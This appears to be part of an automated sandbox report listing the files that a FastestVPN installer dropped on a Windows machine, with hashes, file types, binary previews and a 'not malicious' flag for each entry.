                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....R............" ..0..r2..........&1.. ....2...... ........................2.....6Q3...@.................................G&1.O.....2..............|2.. ....2.....X.(.p............................................ ............... ..H............text....p2.. ...r2................. ..`.rsrc.........2......t2.............@..@.reloc........2......z2.............@..B................{&1.....H...........$....................(.....................................V!........s.........*.~....-*(....o....o....o.........~....-.~.........~....*..( ...*...0..G.......(!....o"....s.1....s*,..%..(.... ....o.....o 0...Zo....t....o8(..(....*..0..$..........(.....(....o.....(!.......io#...*z...(....(!....o"...o....(....*..0............T....r...p.(O....o$....(....*..0..I.......sG...sB)..s.(..s.(...(....s6(....,..o%....2...(....sV(....+.....%..ox...*..( ...*V.(&.....}......}..

                                                                                                                C:\Program Files\FastestVPN\is-T36FQ.tmp

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):16768
                                                                                                                Entropy (8bit):6.361391591273708
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:192:LGLxTyHvc4ROgcxAdWXYWJeaPtWsI9A9GaHnhWgN7aJeWw0fnCsqnajt:LgGLROZAdWXYW8aPcyHRN7WEqn1lx
                                                                                                                MD5:DA04A75DDC22118ED24E0B53E474805A
                                                                                                                SHA1:2D68C648A6A6371B6046E6C3AF09128230E0AD32
                                                                                                                SHA-256:66409F670315AFE8610F17A4D3A1EE52D72B6A46C544CEC97544E8385F90AD74
                                                                                                                SHA-512:26AF01CA25E921465F477A0E1499EDC9E0AC26C23908E5E9B97D3AFD60F3308BFBF2C8CA89EA21878454CD88A1CDDD2F2F0172A6E1E87EF33C56CD7A8D16E9C8
                                                                                                                Malicious:false
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....jM^...........!................^2... ...@....@.. ...............................y....@..................................2..S....@...................#...`....................................................... ............... ..H............text...d.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B................@2......H........#..@...................P ......................................{.v.`)!.t..@.62C<.=...h....X..}.`v.r...g.e...yXa.dat.mwQ.XdJ...M..`..J...$|.j.6W.U.3.r.A.h.....9Q..|..,<g..gy..6V9o%..Gd.r.0...........q....*..0..............q....*...0..............q....*...0.................*.0....................*..0....................*..0............q.........*....0............q.........*....0............*..0................*..0...............*...0...............*...0..........

                                                                                                                C:\Program Files\FastestVPN\is-T8IR5.tmp

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):124072
                                                                                                                Entropy (8bit):6.169344446608534
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:3072:LurAkSCDvkOtt+niUnQY8/LFEMnK8VQW5K/7:LJkSCDv+iUnQXLFEEM/7
                                                                                                                MD5:2DC3102392DAEF9B935CDF4939A9B132
                                                                                                                SHA1:F56261CE19BFC14F8317C2AA05F010E9ACFBCE02
                                                                                                                SHA-256:B6D9088505C220F23132D78675004BC31E0FB5C04257357C2B02072EF8C28DAD
                                                                                                                SHA-512:596AFAA1347CF730D2D0312857366EE3AD4C5C439E2F93BD6D38B29129C7B3530523B206FAEEF1DB3F6D9A18482162FF56321C9F1A1FA4F296F6B29AE8659321
                                                                                                                Malicious:false
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...q............" ..0.................. ........... ....................... ......Q.....`.....................................O........................*..............8............................................ ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H.......d................................................................0...........s....%r...pr...po....%rk..pru..po....%r...pr...po....}......(....(...+o.....(...+o.......o....r!..p.o....(....}......o....}......o....}......o....}.....(....r%..p( ...-..(....re..p( ...,...}....*..}....*..{....*..{....*..{....*..{....*..{....*J.......s!...s:...*.~....%-.&~..........s!...%.....s:...*J.......s"...s#...*J.......s!...s:...*..0..........(...+o$.....E........9...^...*.r...pr...pr..

                                                                                                                C:\Program Files\FastestVPN\is-U28J4.tmp

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):3070013
                                                                                                                Entropy (8bit):6.39701754184779
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:49152:BdJYVM+9JtzZWnoS2VC23aun8+f5KuGP+VYNCWNtdH333t7:HJYVM+LtVt3P/KuGP+VYNCuf333V
                                                                                                                MD5:A2386053A831B1C65F9BB923F4F17A7B
                                                                                                                SHA1:530BC9411C100138963776A527966EA98D2D1FD9
                                                                                                                SHA-256:3AE0793AF74140734EC43A261FAD664E5871890F28F9CCC692B68B3D6E1A26E5
                                                                                                                SHA-512:2E149D81B13101F9C38EE67396A92527AE5BFD8761D8187BAB635C7736B316E31D9A246DC14D934F28EEE4076F9B3FA78751F912D9CFEB6A032470997382D76F
                                                                                                                Malicious:false
                                                                                                                Preview:MZP.....................@.......................InUn....................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L.....gf..................*...........*.......*...@..........................P/...........@......@...................P,.n.....,.j:....,.$....................................................p,.......................,......@,.(....................text.....*.......*................. ..`.itext..$.....*..0....*............. ..`.data.........*.......*.............@....bss.....|....+..........................idata..j:....,..<...f+.............@....didata.(....@,.......+.............@....edata..n....P,.......+.............@..@.tls....X....`,..........................rdata..]....p,.......+.............@..@.rsrc...$.....,.......+.............@..@.............`0......./.............@..@........................................................

                                                                                                                C:\Program Files\FastestVPN\is-UHR8C.tmp

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):35496
                                                                                                                Entropy (8bit):6.3704146545353355
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:768:yS78zRHlzbzaxUxU7y7y7y7S7CxUxU7y3K7yTyTTN77xNTOLSxY777DKoRREEK79:yS7DOOqf1RuhC5w78K/m
                                                                                                                MD5:26592109F19A24EE91F039EBB40038C4
                                                                                                                SHA1:C8846404EFEB44C6CBB242B4C107F7CCE865AD14
                                                                                                                SHA-256:E3F74128991C128410498223D4185915528360AD3DA92CD01BC23B19D8C2C670
                                                                                                                SHA-512:8B031C53F5529D50A80AE2A4803D7C34F9A71A54DA01A912D1DB4D77D9BC1F490AB634A32F2DF6009EB53A2E57CD21975F3E00AF111BFA8320DE550A17509CA1
                                                                                                                Malicious:false
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...>............." ..0..X...........v... ........... ...............................S....`..................................v..O....................`...*...........v..8............................................ ............... ..H............text....W... ...X.................. ..`.rsrc................Z..............@..@.reloc...............^..............@..B.................v......H........3...B...........................................................0.................(n...........................s)...}................s%...}................s....}................s....}................s....}................s....} ...............s!...}!...............s....}"...............s....}#...............s=...}$...............s9...}%...............s5...}&...............sA...}'...............sE...}(...............s-...})...............s1...}*........(....(....(....

                                                                                                                C:\Program Files\FastestVPN\is-V8IR1.tmp

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
                                                                                                                Category:dropped
                                                                                                                Size (bytes):432
                                                                                                                Entropy (8bit):5.0141792226861375
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:12:MMHdGzNFF7ap+5v5OXrRf/2//FicYo4xT:JduPF7NhOXrRH2/d9y
                                                                                                                MD5:8F6EB9E75E6A6F0C0D58FB697C10CEDF
                                                                                                                SHA1:6944935DFDC33E0C6DB26869BF25EDA85A2622D8
                                                                                                                SHA-256:E2B8677434501735FB0233ED0CC2FFEE5BF6FB4387C51DBCB2585A70E42E4F08
                                                                                                                SHA-512:A946252B2E3705EAE751A2672D4ADE1499ECEB28C48B4BE6150C4201EE20A7B9A4450C75E06B07F5DAA3528041A566931D988FBD0C2EA90240D61008895BA44A
                                                                                                                Malicious:false
                                                                                                                Preview:.<?xml version="1.0" encoding="utf-8"?>..<configuration>.. <runtime>.. <assemblyBinding xmlns="urn:schemas-microsoft-com:asm.v1">.. <dependentAssembly>.. <assemblyIdentity name="Newtonsoft.Json" publicKeyToken="30ad4fe6b2a6aeed" culture="neutral" />.. <bindingRedirect oldVersion="0.0.0.0-13.0.0.0" newVersion="13.0.0.0" />.. </dependentAssembly>.. </assemblyBinding>.. </runtime>..</configuration>

                                                                                                                C:\Program Files\FastestVPN\nfapi.dll (copy)

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):159368
                                                                                                                Entropy (8bit):6.32384599449582
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:3072:OcqXDYZbIkCKezJaoCNVljUmcmAs6Jm4AFt2iPaTatnhrOKK/E:9qbKwcB4njeXBSTcpOT/E
                                                                                                                MD5:7AE17C855F3CC63174E90EA527B6138B
                                                                                                                SHA1:0FE1E1B2252511F33EDA3FFCF1F8FC8586AB040A
                                                                                                                SHA-256:26FF04208EC4D26EF4DDD9B3CF01C4D2A1544550BCD59EFDE6F30170053A1170
                                                                                                                SHA-512:453BA41332A704F491FC9E1EE5FBE9F883EDDB4C26A71D207C93992726E9C5B7FEDC48EEEE2A2087F64B083F9473EE794FB2C8F3B77C9DBCBBC47B67816BD156
                                                                                                                Malicious:false
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........y..............Y.......................................................................Rich....................PE..L.....[...........!.........................................................`..................................................P.... ..`............@.......0..(...0...............................0...@............................................text....w.......................... ..`.rdata...A.......P..................@..@.data....6....... ..................@....rsrc...`.... ......................@..@.reloc..2(...0...0..................@..B................................................................................................................................................................................................................................................................................................................

                                                                                                                C:\Program Files\FastestVPN\subinacl.exe (copy)

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32 executable (console) Intel 80386, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):301224
                                                                                                                Entropy (8bit):5.823114295644
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:3072:I856+Aq4WBT5TjbyfQ5d2ap3BES3l+3p7z8p5+cyIqrKMjE3g2AJX5ex4uyj0bOa:v56+Aq4WBTWpSqXhpeEioU2Uh/b
                                                                                                                MD5:4798226EE22C513302EE57D3AA94398B
                                                                                                                SHA1:F42C6CFA4068263D955608DE47E60D099AD8B394
                                                                                                                SHA-256:38F32C75433A2AF902D33511BC3BBBE5BBF66D87FEC7D3AD1694AECEEB7E485E
                                                                                                                SHA-512:94BB5E38CBCDC1E40BBD3AB14A3C92C8C90F64EA1910108BB2DE80E00BEA358A13A063031B5E3417A55102DB238488F5C3E766A1AF3ACEDB8806FEC5DD81990C
                                                                                                                Malicious:false
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........._.Y.1.Y.1.Y.1..l.[.1...>.].1.[.5.[.1.9.|.X.1...l.D.1.Y.0.p.1...n.V.1...Q.M.1...o.X.1...k.X.1.RichY.1.........PE..L...[..@.................J...................`...............................P................... ...........................=..T....@...............n...*..............................................@............................................text....I.......J.................. ..`.data...L....`.......N..............@....rsrc........@.......^..............@..@........................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                C:\Program Files\FastestVPN\unins000.dat

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:InnoSetup Log 64-bit FastestVPN, version 0x418, 26373 bytes, 910646\37\user\, C:\Program Files\FastestVPN\376\377\377\00
                                                                                                                Category:dropped
                                                                                                                Size (bytes):26373
                                                                                                                Entropy (8bit):3.4477198555953477
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:96:BOyECOmeHr4Z5ZeZYZZZtZuZiZ3ZvZ5ZRZBZVYguuQfCECnC07DUitoEQTdwKpSp:8BghCaydZ7epOa8XiKGyuO/alr0x2
                                                                                                                MD5:D40E537330DF8DC72B4002918EF7FE20
                                                                                                                SHA1:D32C4F5C293C3687301A012B3A9A18AA5E43D62B
                                                                                                                SHA-256:FBD5A368EE80163C84999DEE9CDBA5161BFD3E5D4815768AC2A9E52BB4E1FD26
                                                                                                                SHA-512:09C5A28C04479C1A6BEB0161418D7B4898AF745F9AC4D113E7F2FEBB0D59D64BD415D2B8415FE7FC956E0C42814B192A13871641682B8649403F218E0A645ED2
                                                                                                                Malicious:false
                                                                                                                Preview:Inno Setup Uninstall Log (b) 64-bit.............................FastestVPN......................................................................................................................FastestVPN...............................................................................................................................g..................................................................................................................O..........WA.f......w........9.1.0.6.4.6......e.n.g.i.n.e.e.r......C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.F.a.s.t.e.s.t.V.P.N.................. .... ........................C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.F.a.s.t.e.s.t.V.P.N......C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.W.i.n.d.o.w.s.\.S.t.a.r.t. .M.e.n.u.\.P.r.o.g.r.a.m.s.\.F.a.s.t.e.s.t.V.P.N......F.a.s.t.e.s.t.V.P.N......e.n........................."...<........C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.F.a.s.t.e.s.t.V.P.N.................C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.F.a.s.t.e.s.t.V.P.N.\.B.o.

                                                                                                                C:\Program Files\FastestVPN\unins000.exe (copy)

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):3070013
                                                                                                                Entropy (8bit):6.39701754184779
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:49152:BdJYVM+9JtzZWnoS2VC23aun8+f5KuGP+VYNCWNtdH333t7:HJYVM+LtVt3P/KuGP+VYNCuf333V
                                                                                                                MD5:A2386053A831B1C65F9BB923F4F17A7B
                                                                                                                SHA1:530BC9411C100138963776A527966EA98D2D1FD9
                                                                                                                SHA-256:3AE0793AF74140734EC43A261FAD664E5871890F28F9CCC692B68B3D6E1A26E5
                                                                                                                SHA-512:2E149D81B13101F9C38EE67396A92527AE5BFD8761D8187BAB635C7736B316E31D9A246DC14D934F28EEE4076F9B3FA78751F912D9CFEB6A032470997382D76F
                                                                                                                Malicious:false
                                                                                                                Preview:MZP.....................@.......................InUn....................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L.....gf..................*...........*.......*...@..........................P/...........@......@...................P,.n.....,.j:....,.$....................................................p,.......................,......@,.(....................text.....*.......*................. ..`.itext..$.....*..0....*............. ..`.data.........*.......*.............@....bss.....|....+..........................idata..j:....,..<...f+.............@....didata.(....@,.......+.............@....edata..n....P,.......+.............@..@.tls....X....`,..........................rdata..]....p,.......+.............@..@.rsrc...$.....,.......+.............@..@.............`0......./.............@..@........................................................

                                                                                                                C:\ProgramData\FastestVPN\ServicePort.txt

                                                                                                                Download File
                                                                                                                Process:C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exe
                                                                                                                File Type:ASCII text, with no line terminators
                                                                                                                Category:dropped
                                                                                                                Size (bytes):4
                                                                                                                Entropy (8bit):1.5
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:3:kS:kS
                                                                                                                MD5:3499738F724B2AE08A1871B6A0A7D175
                                                                                                                SHA1:A1AB9117DC426032D0E013BB62EDF31CD37B1CAF
                                                                                                                SHA-256:715FCF6424D0AC2F19B5A65364795EBB982885F040E93A1BF4FDD594D9478251
                                                                                                                SHA-512:3B1F29ADDCC165F7807149B13451ABE9DB7E0258F5A77F5802AEA11672B37CBC3439D4D8EB2AAB81F37B302B6631CD9573D64CF281FE4C9E44C672BF31BFF902
                                                                                                                Malicious:false
                                                                                                                Preview:9030

                                                                                                                C:\ProgramData\Microsoft\Network\Downloader\edb.log

                                                                                                                Download File
                                                                                                                Process:C:\Windows\System32\svchost.exe
                                                                                                                File Type:data
                                                                                                                Category:dropped
                                                                                                                Size (bytes):1310720
                                                                                                                Entropy (8bit):0.7263221324336225
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:1536:9J8s6YR3pnhWKInznxTgScwXhCeEcrKYSZNmTHk4UQJ32aqGT46yAwFM5hA7yH0U:9JZj5MiKNnNhoxud
                                                                                                                MD5:84BF27E15CFE000153B30FB6A07E7CF6
                                                                                                                SHA1:644401B7C5F83E73A63AFDE7DDA9FF1023FA799F
                                                                                                                SHA-256:CA301EA8B31CA4673F665214991A9B9DF7C9209AE2FE39863D6F409F46C30C9D
                                                                                                                SHA-512:D9CB2E89A7A9F5FB178BB8C43478328893010BD7258E7B03F54552E2F683003ECAE39FC8F7F14671E4B9362CB3EC54D17F39DF716FECE0920019186F5E12CFA1
                                                                                                                Malicious:false
                                                                                                                Preview:...........@..@9....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@....................................Fajaj.#.........`h.................h.......6.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

                                                                                                                C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

                                                                                                                Download File
                                                                                                                Process:C:\Windows\System32\svchost.exe
                                                                                                                File Type:Extensible storage user DataBase, version 0x620, checksum 0x77ea8ddb, page size 16384, DirtyShutdown, Windows version 10.0
                                                                                                                Category:dropped
                                                                                                                Size (bytes):1310720
                                                                                                                Entropy (8bit):0.7556248738869189
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:1536:1SB2ESB2SSjlK/svFH03N9Jdt8lYkr3g16xj2UPkLk+kLWyrufTRryrUYc//kbxW:1azaSvGJzYj2UlmOlOL
                                                                                                                MD5:8AC2298046B4319903DBC995ADC9D038
                                                                                                                SHA1:636551ECED1988469FEB2C1D8C410D57BF1F322B
                                                                                                                SHA-256:012D74F63A42CFB4EC74C8EA7B04A91DEBC146092D49E8845F860342995D8EA3
                                                                                                                SHA-512:B7879FDB20944E8E48EF209EEF919E7731F7EDA3AF81B8426A829A7350F13BC90D9D97252D823286C841DE084C2B330A35A880E0F375BA4D84D52EA858B7E40F
                                                                                                                Malicious:false
                                                                                                                Preview:w..... .......7.......X\...;...{......................0.e......!...{?.6....|..h.g.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... .......9....{...............................................................................................................................................................................................2...{...................................~..6....|..................@..6....|...........................#......h.g.....................................................................................................................................................................................................................................................................................................................................................

                                                                                                                C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

                                                                                                                Download File
                                                                                                                Process:C:\Windows\System32\svchost.exe
                                                                                                                File Type:data
                                                                                                                Category:dropped
                                                                                                                Size (bytes):16384
                                                                                                                Entropy (8bit):0.07895821353955859
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:3:tSYekUgc3NaAPaU1lMjBk/AlluxmO+l/SNxOf:tSzvNDPaUkje/AgmOH
                                                                                                                MD5:E98D2246BF41EC80C7ED76C84A11A942
                                                                                                                SHA1:F9D97B531D3BF464F9C4852549A29D03385A747E
                                                                                                                SHA-256:61545E3A6499D0D5AE743A0DE2919173D430B3FC5B1B66072A47CE16CB144B7C
                                                                                                                SHA-512:C46A42EC5326CE41F9D8E05EB3EDD3408F4F463D66204C5F23AB90FB029A56EDEC4EB4CA9A3AAAD153E0A366CCCA28136D35956BE975DB3AAAB1959213E9E164
                                                                                                                Malicious:false
                                                                                                                Preview:.........................................;...{..6....|...!...{?..........!...{?..!...{?..g...!...{?..................@..6....|..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                C:\ProgramData\Microsoft\Windows\Start Menu\Programs\FastestVPN\FastestVPN.lnk

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Icon number=0, Archive, ctime=Thu Oct 3 07:17:32 2024, mtime=Thu Oct 3 07:17:32 2024, atime=Thu Jun 27 19:18:16 2024, length=2059432, window=hide
                                                                                                                Category:dropped
                                                                                                                Size (bytes):1765
                                                                                                                Entropy (8bit):3.230972784128481
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:24:8hVbdU58XIcJLAsMd/Z6d/nd/VkIbfd/Vu1m:8TdU54TJ8sMd/Z6d/nd/Vkcd/VO
                                                                                                                MD5:69589E0B4E140133D45A791807FBB76F
                                                                                                                SHA1:82FFB4E245BE0D6DE66748A14BB74BE64C5EC480
                                                                                                                SHA-256:C6955748BC45544B140F4EC67A6A4E73EDED35D6E420EE83E579BAE590994346
                                                                                                                SHA-512:5784A6FE2D4D292849F6A21077A1C1B825DC70A424D8CC15FC638C71595DAD3AB9ADD1FDF414EBA88F5803AF59D743EB9914FA1BE03C1B082022BE2278EDC917
                                                                                                                Malicious:false
                                                                                                                Preview:L..................F.@.. ......l.......l......$.....l...........................P.O. .:i.....+00.../C:\.....................1.....EW.3..PROGRA~1..t......O.IEW.5....B...............J.......j.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....^.1.....CY2B..FASTES~1..F......CY1BCY2B..........................l.j.F.a.s.t.e.s.t.V.P.N.....j.2..l...XH. .FASTES~1.EXE..N......CY1BCY1B..............................F.a.s.t.e.s.t.V.P.N...e.x.e.......Y...............-.......X...........<>.......C:\Program Files\FastestVPN\FastestVPN.exe..9.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.F.a.s.t.e.s.t.V.P.N.\.F.a.s.t.e.s.t.V.P.N...e.x.e...C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.F.a.s.t.e.s.t.V.P.N.(.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.F.a.s.t.e.s.t.V.P.N.\.a.p.p.-.i.c.o.n...i.c.o.........%SystemDrive%\Program Files\FastestVPN\app-icon.ico.....................................................................................................................................

                                                                                                                C:\ProgramData\Microsoft\Windows\Start Menu\Programs\FastestVPN\Uninstall FastestVPN.lnk

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Archive, ctime=Thu Oct 3 07:17:32 2024, mtime=Thu Oct 3 07:17:32 2024, atime=Thu Oct 3 07:17:05 2024, length=3070013, window=hide
                                                                                                                Category:dropped
                                                                                                                Size (bytes):885
                                                                                                                Entropy (8bit):4.562208049078114
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:12:8mJV20YXrh9Bl8OdpF4GjvKSK81pHhyOjAXRkbdpBo6bdpBgpR7mV:8mJyljdU58XHhyyABwd/o+d/gpBm
                                                                                                                MD5:A64B6E57271F16EC1FAEC9BF8876076B
                                                                                                                SHA1:BE883B04BBFF2A9A130899907F2D26DA8D0D3AB5
                                                                                                                SHA-256:B01F2631EE138B9FC27031C5E7D09FF56007950BEA656C98DD31CEE3C31EF017
                                                                                                                SHA-512:6476D988680C8C26623C6E93E76E04DEFD92E9B928AF731EE45A6DFBD64013E4C94DFB1FC9BBA2A0D1CF7220DE28BEB7E7189D3D6605E631DF6E079469DECE02
                                                                                                                Malicious:false
                                                                                                                Preview:L..................F.... ....d.l....d.l...+...l...=............................P.O. .:i.....+00.../C:\.....................1.....CY1B..PROGRA~1..t......O.ICY2B....B...............J.....u...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....^.1.....CY2B..FASTES~1..F......CY1BCY2B..........................l.j.F.a.s.t.e.s.t.V.P.N.....f.2.=...CY#B .unins000.exe..J......CY1BCY1B...........................!6.u.n.i.n.s.0.0.0...e.x.e.......W...............-.......V...........<>.......C:\Program Files\FastestVPN\unins000.exe..7.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.F.a.s.t.e.s.t.V.P.N.\.u.n.i.n.s.0.0.0...e.x.e...C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.F.a.s.t.e.s.t.V.P.N.`.......X.......910646...........hT..CrF.f4... .....Jc...-...-$..hT..CrF.f4... .....Jc...-...-$.E.......9...1SPS..mD..pH.H@..=x.....h....H.....K...YM...?................

                                                                                                                C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_FastestVPN.Windo_53ebd9cdf731fce6dc6bf88ca253274667038a7_2affa00b_9b513bc5-0e3b-4e81-8546-8445ba373275\Report.wer

                                                                                                                Download File
                                                                                                                Process:C:\Windows\SysWOW64\WerFault.exe
                                                                                                                File Type:Unicode text, UTF-16, little-endian text, with CRLF line terminators
                                                                                                                Category:dropped
                                                                                                                Size (bytes):65536
                                                                                                                Entropy (8bit):1.0636034737511204
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:192:LU5xpoNa0BU/6aGiJ6OIzuiFMZ24IO8u:KxpoLBU/6at9IzuiFMY4IO8u
                                                                                                                MD5:6ADDA72453973274444B18A681777649
                                                                                                                SHA1:3EE879EFAEEC2C18712326D334466F53E7D6EC71
                                                                                                                SHA-256:299FC3AEED89215785C53557F56E3068761DD271F4EAFFCFAAAA22296BF51A58
                                                                                                                SHA-512:1C5BAB4C534194AC5E55E53E289440BE92ED90777D9B9603473B602A330DC9A631FFFB838887E649D52AC637C7FC73D4C60A932D71194F8C53EB08FA5D9AAD7D
                                                                                                                Malicious:false
                                                                                                                Preview:..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.C.L.R.2.0.r.3.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.2.4.1.7.0.6.5.0.1.3.0.5.7.3.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.2.4.1.7.0.6.5.6.8.4.9.2.5.6.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.9.b.5.1.3.b.c.5.-.0.e.3.b.-.4.e.8.1.-.8.5.4.6.-.8.4.4.5.b.a.3.7.3.2.7.5.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.3.b.c.9.7.5.4.3.-.4.c.1.f.-.4.2.7.a.-.8.b.8.f.-.2.8.2.b.5.f.4.f.2.5.f.b.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.F.a.s.t.e.s.t.V.P.N...W.i.n.d.o.w.s.S.e.r.v.i.c.e...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.F.a.s.t.e.s.t.V.P.N...W.i.n.d.o.w.s.S.e.r.v.i.c.e...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.0.b.a.c.-.0.0.0.1.-.0.0.1.5.-.9.5.7.c.-.c.f.b.8.6.c.1.5.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.b.3.7.5.a.5.b.0.1.c.c.e.6.9.2.0.b.8.4.1.1.a.f.c.e.d.8.6.5.7.1.0.0.0.0.0.0.0.0.0.!.0.0.0.0.a.b.1.8.

                                                                                                                C:\ProgramData\Microsoft\Windows\WER\Temp\WEREB24.tmp.dmp

                                                                                                                Download File
                                                                                                                Process:C:\Windows\SysWOW64\WerFault.exe
                                                                                                                File Type:Mini DuMP crash report, 15 streams, Thu Oct 3 08:17:45 2024, 0x1205a4 type
                                                                                                                Category:dropped
                                                                                                                Size (bytes):224553
                                                                                                                Entropy (8bit):4.024430023102615
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:1536:gqYIWBMLTgmAv0eXqvNpuCDy2KLtT4k0BDS38uBojRlr4apN4uE2aOHSVXq9cQk:g1BMLTgzjXsy5BKO3IKc4uEqHya
                                                                                                                MD5:692D8D73046A3BA0F27A45C5D968F8BF
                                                                                                                SHA1:52208C56E25ED489A943B61A30826CC2CDB516D5
                                                                                                                SHA-256:E195F99476E3CDD163BAC6A6902640D661A28E6C8C235EB61C199BEC192889D1
                                                                                                                SHA-512:2CC3D1F2BC8F0A1036099C67365126653BD77A7D597B1DCE61DECFF965DE4E4F3D3324D9BC6E5161069ADD91D35C4022DFB60174C0338173A301795E3219AC9D
                                                                                                                Malicious:false
